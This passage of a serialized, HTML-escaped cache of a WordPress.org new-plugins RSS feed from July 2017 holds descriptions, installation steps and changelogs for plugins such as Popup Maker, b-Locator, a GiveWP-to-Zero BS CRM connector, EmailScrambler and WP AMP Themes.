ways.&lt;/li&gt;\n&lt;li&gt;It&amp;#8217;s extremely easy to use, even for newbies.&lt;/li&gt;\n&lt;li&gt;The price is unbeatable for all the popups and extensions.&lt;/li&gt;\n&lt;li&gt;It provides 6 Months of a trial period before you decide to purchase.&lt;/li&gt;\n&lt;li&gt;The opportunity to grab all the visitors&amp;#8217; attention in order to introduce them your offers, discounts and other promotional announcements.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Popup Maker allows you to add highly customizable popup windows. It affords displaying awesome popups in your WordPress website by simply connecting to your Popup Maker service account by the API key provided. Popup Maker provides a fascinating level of effectiveness for all the settings for each popup. Thus, customers can fully, fundamentally customize all the popup themes, colors, sizes, etc.&lt;br /&gt;\nPopups  have become one of the most relevant marketing tools in the 21st century. It is an undeniable fact that a web page with modal popups is much more attractive and visible for conversions than one without popups. In addition, it is much more significant to know that a website with well designed, customized and thoughtfully implemented popups are incomparably better than the web page with a poorly converted popups.&lt;br /&gt;\nPopup Maker provides all the opportunities to realize your ideas. You can insert any type of content directly into your Popup. Moreover, you can insert your popup into any page or a post in the easiest and fastest ways. There are popups that open automatically with attracting already surprised visitors&amp;#8217; attention. You have all the keys. Just add some required effects to your popups and visitors would not be able to leave your website unnoticed.&lt;br /&gt;\nThe features of Popup Maker will make from your random visitors core customers that hardly wait for the updates of your product to purchase them.&lt;br /&gt;\nBy the way, our Popup Maker team works on updates every single day, and our permanent customers would support the fact that we provide many useful updates in a short time period.&lt;/p&gt;\n&lt;p&gt;Individual Approach for All Our Customers&lt;/p&gt;\n&lt;p&gt;This is much more important, that we do the updates in favor of our customers. Literally saying, our customers write reviews on the WordPress official page under our plugin, or send a message to our support team (support@popupmaker.com) and our team is ready to provide a personal support to each user individually.&lt;br /&gt;\nPopup video tutorials (in order to ease the perception); popup relevant images, popup relevant information for a particular article/section; popup your other websites (by redirecting visitors with popups); popup your WordPress blog; popup the announcements (about the sales on your websites); popup countdowns (of your specific discounts); popup animations (considering a tutorial role for your website); popup a unique section for subscription to all your websites and social accounts; popup a section considering a proactive support for customers; popup &amp;#8220;share&amp;#8221; and &amp;#8220;like&amp;#8221; social buttons for Facebook, Google Plus, Instagram, Twitter; popup the age restriction section for specific customers, popup all your unrealized ideas, popup anything you want and make all the available benefits with this relevant tool.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Using The WordPress Plugins Dashboard&lt;/strong&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Go to the &amp;#8216;Add New&amp;#8217; in the plugins dashboard&lt;/li&gt;\n&lt;li&gt;Search for &amp;#8216;Popup Maker&amp;#8217;&lt;/li&gt;\n&lt;li&gt;Click Install Now button&lt;/li&gt;\n&lt;li&gt;Then click Activate Plugin button&lt;/li&gt;\n&lt;li&gt;You can see the Popup Maker plugin installed on WordPress left menu&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;&lt;strong&gt;Using The WordPress Plugins Dashboard&lt;/strong&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Go to the &amp;#8216;Add New&amp;#8217; in the plugins dashboard&lt;/li&gt;\n&lt;li&gt;Search for &amp;#8216;Popup Maker&amp;#8217;&lt;/li&gt;\n&lt;li&gt;Click Install Now button&lt;/li&gt;\n&lt;li&gt;Then click Activate Plugin button&lt;/li&gt;\n&lt;li&gt;You can see the Popup Maker plugin installed on WordPress left menu&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/dd&gt;\n&lt;dt&gt;Where I can find my API key?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;You need to create an account at https://popupmaker.com and from your account&amp;#8217;s section click on API key and insert it inside the plugin.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial commit.&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;b-Locator\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://wordpress.org/plugins/b-locator/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 15 Jul 2017 00:27:12 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://wordpress.org/plugins/b-locator/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:104:\&quot;b-Locator is a plugin that can generate custom locator ( e.g. Store Locator, Distributor Locator,&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;Bryan Sebastian\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1872:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Please be noted that this plugin uses third party service ( Google Map ).&lt;/p&gt;\n&lt;p&gt;b-Locator can :&lt;br /&gt;\n&amp;#8211; Add location ( long, lat, and details ).&lt;br /&gt;\n&amp;#8211; Filter the location by categories.&lt;br /&gt;\n&amp;#8211; Search specific location.&lt;br /&gt;\n&amp;#8211; Set center of the map.&lt;br /&gt;\n&amp;#8211; Set the zoom level.&lt;br /&gt;\n&amp;#8211; Set the height of the map.&lt;br /&gt;\n&amp;#8211; Modify default map pointer/marker.&lt;br /&gt;\n&amp;#8211; Modify default map theme.&lt;br /&gt;\n&amp;#8211; Enable/Disable the draggable function of the map.&lt;br /&gt;\n&amp;#8211; Enable/Disable double click zoom.&lt;br /&gt;\n&amp;#8211; Enable/Disable zoom control.&lt;br /&gt;\n&amp;#8211; Enable/Disable scrollwheel for zooming on the map.&lt;br /&gt;\n&amp;#8211; Enable/Disable street view.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Download the b-Locator plugin then paste it the plugin directory or download it via plugin menu of admin&amp;#8217;s backend.&lt;/li&gt;\n&lt;li&gt;Activate the plugin.&lt;/li&gt;\n&lt;li&gt;Configure the settings in b-Locator menu.&lt;/li&gt;\n&lt;li&gt;Add location in Custom Post Type Location.&lt;/li&gt;\n&lt;li&gt;Use the shortcode [b-locator] to show the list of locations&lt;/li&gt;\n&lt;li&gt;use the shortcode [b-locator-map] to show the map&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Download the b-Locator plugin then paste it the plugin directory or download it via plugin menu of admin&amp;#8217;s backend.&lt;/li&gt;\n&lt;li&gt;Activate the plugin.&lt;/li&gt;\n&lt;li&gt;Configure the settings in b-Locator menu.&lt;/li&gt;\n&lt;li&gt;Add location in Custom Post Type Location.&lt;/li&gt;\n&lt;li&gt;Use the shortcode [b-locator] to show the list of locations&lt;/li&gt;\n&lt;li&gt;use the shortcode [b-locator-map] to show the map&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;dt&gt;Why there are two shortcodes that you need to use?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;To place them wherever you want. Sample at the top you want to place the list of locations and at the bottom the google map.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;Give to ZBS CRM Connector\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:49:\&quot;https://wordpress.org/plugins/zbs-give-extension/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 14 Jul 2017 21:27:12 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:56:\&quot;https://wordpress.org/plugins/give-to-zbs-crm-connector/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:89:\&quot;Give to ZBS CRM connector connects your GiveWP donations to your Zero BS CRM. Keep&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;mikemayhem3030\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1524:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Never miss a donation again by capturing your donations into Zero BS CRM. Manage your donors just like you&amp;#8217;d manage your customers. Follow up with your Donors by utilising Zero BS CRM&amp;#8217;s management tools to keep your donors happy.&lt;/p&gt;\n&lt;h4&gt;Utilise all the features of Zero BS CRM&lt;/h4&gt;\n&lt;p&gt;You are running Give and want to power up your management of the people who donate to your cause. Enter Zero BS CRM. Through using Give to ZBS you can capture your Donors into your ZBS CRM.&lt;/p&gt;\n&lt;p&gt;Capture&lt;br /&gt;\n* Donor information&lt;br /&gt;\n* First Name&lt;br /&gt;\n* Last Name&lt;br /&gt;\n* Email&lt;br /&gt;\n* Donor History&lt;/p&gt;\n&lt;p&gt;Use the information with your CRM since Donors are captured as Contacts to your CRM. You can then use the wider features of Zero BS CRM such as&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;View your Donations Sales in the Sales Dashboard. &lt;a href=\&quot;https://www.youtube.com/watch?v=ju2aeLkrxcM\&quot; rel=\&quot;nofollow\&quot;&gt;A tour of the ZBS CRM Sales Dashboard&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Email your Donors based on certain criteria&lt;/li&gt;\n&lt;li&gt;Tag your Donors and quickly filter them&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;WordPress 4.0 or greater&lt;/li&gt;\n&lt;li&gt;PHP version 5.3 or greater&lt;/li&gt;\n&lt;li&gt;MySQL version 5.0.15 or greater&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0: July 11th, 2017&lt;/h4&gt;\n&lt;p&gt;Initial Release&lt;/p&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ul&gt;\n&lt;li&gt;WordPress 4.0 or greater&lt;/li&gt;\n&lt;li&gt;PHP version 5.3 or greater&lt;/li&gt;\n&lt;li&gt;MySQL version 5.0.15 or greater&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;EmailScrambler\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/emailscrambler/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 14 Jul 2017 19:16:43 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/emailscrambler/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:69:\&quot;A lightweight plugin to protect email addresses from email-harvesting\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:7:\&quot;Daschmi\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:730:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;A lightweight plugin to protect email addresses from email-harvesting. Replace all @ in content with (at) and protect the E-Mail adress with javascript. Inspired by TYPO3.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial release&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:63:\&quot;WP AMP Themes – Plugin for Accelerated Mobile Pages templates\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:44:\&quot;https://wordpress.org/plugins/wp-amp-themes/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 14 Jul 2017 18:29:12 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:44:\&quot;https://wordpress.org/plugins/wp-amp-themes/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:117:\&quot;WP AMP Themes helps you improve mobile user engagement with fast, compelling experiences. Discover Accelerated&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:15:\&quot;anghelalexandra\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8690:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;The Accelerated Mobile Pages (&amp;#8220;AMP&amp;#8221;) Project is an open source initiative that came out of discussions between publishers and technology companies about the need to improve the entire mobile content ecosystem for everyone — publishers, consumer platforms, creators, and users.&lt;/p&gt;\n&lt;p&gt;Today, the expectation is that content should load super fast and be easy to explore. The reality is that content can take several seconds to load, or, because the user abandons the slow page, never fully loads at all. Accelerated Mobile Pages are web pages designed to load near instantaneously — they are a step towards a better mobile web for all.&lt;/p&gt;\n&lt;p&gt;Speed matters and instant is the ideal. Research has shown higher bounce rates associated with slower-loading web pages. Using the AMP format will make it far more compelling for people to consume and engage with more content. But this isn’t just about speed and performance. We also want to promote enhanced distribution so that publishers can take advantage of the open web’s potential for their content to appear everywhere quickly — across platforms and apps — which can lead to more revenue via ads and subscriptions.&lt;/p&gt;\n&lt;p&gt;Accelerated Mobile Pages are just like any other HTML page, but with a limited set of allowed technical functionality that is defined and governed by the open source AMP spec. Just like all web pages, Accelerated Mobile Pages will load in any modern browser or app webview.&lt;/p&gt;\n&lt;p&gt;AMP files take advantage of various technical and architectural approaches that prioritize speed to provide a faster experience for users. AMP developers can use a rich and growing library of web components that offer the ability to embed rich media objects like video and social posts, display advertising, or collect analytics. The goal is not to homogenize how content looks and feels, but instead to build a more common technical core between pages that speeds up load times.&lt;/p&gt;\n&lt;p&gt;In addition, AMP files can be cached in the cloud in order to reduce the time content takes to get to a user’s mobile device. By using the AMP format, content producers are making the content in AMP files available to be cached by third parties. Under this type of framework, publishers continue to control their content, but platforms can easily cache or mirror the content for optimal delivery speed to users. Google has provided the Google AMP Cache that can be used by anyone at no cost, and all AMPs will be cached by the Google AMP Cache. Other companies may build their own AMP cache as well.&lt;/p&gt;\n&lt;p&gt;In summary, the goal is that the combination of limited technical functionality with a distribution system built around caching will lead to better performing pages, and increased audience development for publishers.&lt;/p&gt;\n&lt;p&gt;The WordPress Accelerated Mobile Pages Themes plugin helps bloggers, publishers and other content creators to easily add AMP support to their WordPress websites. The WP AMP Themes plugin includes one FREE AMP theme (OBLIQ) which is customizable (colors, fonts, appearance) via the WordPress admin area.&lt;/p&gt;\n&lt;p&gt;The OBLIQ AMP theme (available for FREE) comes with support for post details and includes a side menu with categories and pages.&lt;/p&gt;\n&lt;p&gt;Some of the AMP components that we&amp;#8217;ve used when building OBLIQ:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;amp-accordion&lt;/li&gt;\n&lt;li&gt;amp-img&lt;/li&gt;\n&lt;li&gt;amp-sidebar&lt;/li&gt;\n&lt;li&gt;amp-carousel&lt;/li&gt;\n&lt;li&gt;amp-social-share&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;There are dozens of premium AMP themes available at AMPThemes.io: &lt;a href=\&quot;https://ampthemes.io/downloads/base-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;BASE&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/elevate-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;ELEVATE&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/folio-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;FOLIO&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/invision-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;INVISION&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/popsicle-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;POPSICLE&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/pulse-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;PULSE&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/ghost-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;GHOST&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/phantom-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;PHANTOM&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/lucid-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;LUCID&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/extrude-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;EXTRUDE&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/vedi-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;VEDI&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/blend-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;BLEND&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/pure-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;PURE&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/gotham-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;GOTHAM&lt;/a&gt;, &lt;a href=\&quot;https://ampthemes.io/downloads/future-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;FUTURE&lt;/a&gt; &amp;amp; 